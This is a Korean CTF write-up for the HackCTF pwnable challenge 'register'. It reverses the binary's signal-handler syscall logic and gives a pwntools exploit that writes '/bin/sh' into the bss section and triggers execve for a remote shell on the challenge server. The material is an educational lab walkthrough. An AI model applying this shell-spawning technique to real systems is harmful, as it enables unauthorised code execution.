tmxklab
[HackCTF/Pwnable] register 본문
1. 문제
nc ctf.j0n9hyun.xyz 3026
1) mitigation 확인
2) 문제 확인
- 레지스터가 출력되고 값을 입력받음(진짜로 레지스터에 값을 넣는건지는 이따가 디버깅하면서 확인)
3) 코드 흐름 확인
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
alarm(5u);
setvbuf(stdout, 0LL, 2, 0LL);
build();
}
- unsigned int alarm(unsigned int seconds)
- 설명 : seconds초 후에 프로세스에 SIGALRM 시그널 전송
- build()실행
3-2) build()
void __noreturn build()
{
__int64 v0; // [rsp+0h] [rbp-40h]
__int64 v1; // [rsp+8h] [rbp-38h]
__int64 v2; // [rsp+10h] [rbp-30h]
__int64 v3; // [rsp+18h] [rbp-28h]
__int64 v4; // [rsp+20h] [rbp-20h]
__int64 v5; // [rsp+28h] [rbp-18h]
__int64 v6; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
signal(14, (__sighandler_t)handler);
while ( 1 )
{
do
{
get_obj(&v0);
obj = v0;
qword_6010A8 = v1;
qword_6010B0 = v2;
qword_6010B8 = v3;
qword_6010C0 = v4;
qword_6010C8 = v5;
qword_6010D0 = v6;
}
while ( (unsigned int)validate_syscall_obj(v0) );
raise(14);
}
}
- **void(signal(int signum, void (handler)(int)))(int);
- param
- int signum : 시그널 번호
- void (*handler)(int) : 시그널을 처리할 핸들러 함수
- 설명 : 시그널 발생시 어떻게 처리할지 설정하는 함수
- param
- signal(14, handler)는 14 시그널 넘버를 가진 시그널 발생시 handler()를 호출하게 되어 처리한다. ( 14는 SIGALRM )
- while문안에 do while문이 존재하며 validate_syscall_obj(v0)의 값이 참이 아니면 raise(14)호출
- int raise(int sig);
- 설명 : 해당 함수를 호출한 프로세스에게 인자로 지정한 시그널을 보낸다.
- raise(14)는 프로세스 자신에게 14 signal(SIGALRM)을 보냄
3-3) handler()
void handler()
{
exec_syscall_obj(&obj);
}
- obj(전역변수)를 인자로 exec_syscall_obj()호출
3-4) exec_syscall_obj()
__int64 __fastcall exec_syscall_obj(__int64 *a1)
{
__int64 result; // rax
result = *a1;
__asm { syscall; LINUX - }
return result;
}
- result에 obj주소 값이 들어가고 syscall을 함
3-5) get_obj()
__int64 __fastcall get_obj(_QWORD *a1)
{
printf("RAX: ");
*a1 = get_ll();
printf("RDI: ");
a1[1] = get_ll();
printf("RSI: ");
a1[2] = get_ll();
printf("RDX: ");
a1[3] = get_ll();
printf("RCX: ");
a1[4] = get_ll();
printf("R8: ");
a1[5] = get_ll();
printf("R9: ");
a1[6] = get_ll();
return 0LL;
}
- a1배열에 get_ll()함수의 리턴 값이 들어간다.
3-6) get_ll()
__int64 get_ll()
{
char nptr; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
get_inp(&nptr, 32);
return atol(&nptr);
}
- nptr주소 값과 32를 인자 값으로 get_inpt()호출
- nptr을 인자 값으로 atol()호출 → 정수형을 long형식으로 변환
3-7) get_inp()
__int64 __fastcall get_inp(void *a1, int a2)
{
int v3; // [rsp+1Ch] [rbp-4h]
v3 = read(0, a1, a2);
if ( v3 == -1 )
exit(0);
if ( *((_BYTE *)a1 + v3 - 1) == 10 )
*((_BYTE *)a1 + v3 - 1) = 0;
return (unsigned int)(v3 - 1);
}
- read()를 통해 a1에 a2만큼 입력 값을 받음(a1 = nptr, a2 = 32)
3-8) validate_syscall_obj()
__int64 __fastcall validate_syscall_obj(__int64 a1)
{
unsigned int v2; // [rsp+14h] [rbp-4h]
if ( a1 == 2 )
{
v2 = 0;
}
else if ( a1 > 2 )
{
if ( a1 == 3 )
{
v2 = 0;
}
else
{
if ( a1 != 60 )
return 1;
v2 = 0;
}
}
else if ( a1 )
{
if ( a1 != 1 )
return 1;
v2 = 0;
}
else
{
v2 = 0;
}
return v2;
}
- build()의 do while문의 조건문으로 사용되는 함수로 get_obj(&v0)에서 설정된 v0값을 인자로 받아(a1) 처리하는 함수이다.
- v2가 0으로 설정되면 return 값이 0으로 세팅되고 buil()의 do while문을 빠져나가게 되면서 raise(14)를 호출하게 될 것이다.
- 요약 : RAX에 해당하는 값을 검증하는 용도
전역변수
- obj변수와 build함수에서 v1 ~ v6의 값을 저장하는 변수들이 보인다.
정리)
- 먼저, 메인함수에서 alarm(5)를 통해 5초에 한 번씩 프로세스에게 SIGALRM(signum : 14)시그널을 보낸다.
- build()에서 while문 진입 전에 signal()를 통해 SIGALRM 시그널을 받으면 handler함수가 처리한다.
- handler함수는 rax, rdi, rsi, ... r9레지스터에 obj배열에 저장된 값을 받고 syscall 하는 함수이다.
- get_obj(&v0)를 통해 v0배열에 RAX, RDI, RSI, ... R9에 대한 값을 저장하고 다시 전역변수에 존재하는 obj, qword_6010a8, ...에 값을 저장한다.
- do while문의 조건문에서 validate_syscall_obj(v0)를 호출하여 리턴 값이 참이면 다시 do while문이 돌고 아니면 빠져나와 raise(14)를 호출하고 다시 do while문을 시작한다.
- 이 때, raise(14)는 프로세스 자신에게 SIGALRM 시그널을 보낸다. → handler()호출
2. 접근방법
먼저, RAX, RDI, RSI, RDX, RCX, R8, R9 레지스터에 대한 입력 값을 받아 전역변수들에 저장하고 SIGALRM 시그널을 받으면 handler함수에 의해 저장된 전역변수들에 들어있는 값들이 각 레지스터로 알맞게 들어간 다음 syscall하게 된다.
그럼 system("/bin/sh")를 하기 위해서..
read()로 bss영역에 binsh문자열을 저장하고, system()로 binsh문자열이 저장된 주소 값을 인자로 받으면 된다.
1) handler()가 호출되는 두 가지 방법
1-1) rasie(14)
- do while문을 빠져나가 raise(14)를 호출하면 SIGALRM시그널을 발생해 handler()가 호출되면서 syscall을 할 수 있다.
1-2) alarm(5)
- 5초에 한 번 SIGALRM을 보냄으로써 handler()가 호출된다.
2) read(0, bss, len)
- RAX = 0, RSI = bss영역, RDX = len(binsh)값을 넣고 syscall하면 bss영역에 "/bin/sh"문자열을 받을 수 있다.
- RAX에 해당하는 값을 0으로 세팅하면 do while문의 조건문인validate_syscall_obj함수가 호출되면서 검증하게 된다. (통과)
- do wihle문을 통과하고 raise(14)를 호출하면서 SIGALRM을 발생함으로써 handler함수가 호출되어 syscall이 발생한다.
2-1) RAX값에 0을 주었을 때
- do while문을 통과하면서 rasie함수를 호출한다.
- handler함수에 진입하고 exec_syscall_obj함수에 진입하여 syscall
3) system(bss)
- RAX = 59, RDI = bss 값을 넣고 syscall하면 execve()가 실행되어 bss영역에 있는 "/bin/sh"문자열을 파라미터로 받아 쉘을 딸 수 있다.
- RAX에 해당하는 값을 59로 세팅하면 validate_syscall_obj에 의해 do while문을 통과할 수 없어 rasie(14)를 호출할 수 없다.
3-1) RAX값에 59를 주었을 때
- 반환 값인 eax에 1이 저장된다.
- test eax, eax를 수행하면서 ZF플래그가 0으로 세팅되고 jne분기문에 의해 build+155로 분기된다.
3-2) 해결 방법
간단하다. 굳이 raise(14)를 호출하지 않아도 메인함수에서 alarm(5)를 설정하였기 때문에 5초 지나면 SIGALRM시그널을 발생하여 handler함수를 호출한다.
3. 풀이
1) binsh문자열을 저장할 bss영역 확인
- 0x601090이 비어있으므로 여기다가 /bin/sh을 넣어보자
2) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./register")
p = remote("ctf.j0n9hyun.xyz", 3026)
#gdb.attach(p, """b*0x4007f1""")
bss_addr = 0x601090
binsh = "/bin/sh\x00"
input_binsh = [0, 0, bss_addr, len(binsh), 0, 0, 0]
system_exec = [0x3b, bss_addr, 0, 0, 0, 0, 0]
def register(reg_set):
print(reg_set)
p.sendlineafter("RAX: ", str(reg_set[0]))
p.sendlineafter("RDI: ", str(reg_set[1]))
p.sendlineafter("RSI: ", str(reg_set[2]))
p.sendlineafter("RDX: ", str(reg_set[3]))
p.sendlineafter("RCX: ", str(reg_set[4]))
p.sendlineafter("R8: ", str(reg_set[5]))
p.sendlineafter("R9: ", str(reg_set[6]))
# 1. read(0, bss, len("/bin/sh"))
register(input_binsh)
p.send(binsh)
# 2. system(bss)
register(system_exec)
sleep(5)
p.interactive()
3) 실행 결과
4. 몰랐던 개념
1) signal에 대한 처리를 하는 handler함수 bp거는 방법
일반적으로 bp를 handler에다 걸어서 시그널 발생하여도 그냥 handler함수 쪽으로 break되지 않는다. 따라서, 다음과 같이 진행해보자
① 먼저 handler함수에 bp를 건다.
$b*{handler함수}
- ex) (gdb)$ b*handler
② handlere함수가 처리하는 시그널 이름을 중괄호 안에 넣는다.
$handle {SIG??} nostop pass
- ex) (gdb)$ handle SIGALRM nostop pass
참고 :
02.SROP(Sigreturn-oriented programming) - x64 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List SROP(Sigreturn-oriented programming) SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있습니다.해당 기법을 이용하여 원하는 시스템
www.lazenca.net
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] 풍수지리설 (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] World Best Encryption Tool (0) | 2020.08.15 |
[HackCTF/Pwnable] rtc (0) | 2020.08.06 |
[HackCTF/Pwnable] sysrop (0) | 2020.08.06 |
[HackCTF/Pwnable] Unexploitable #1 (0) | 2020.08.06 |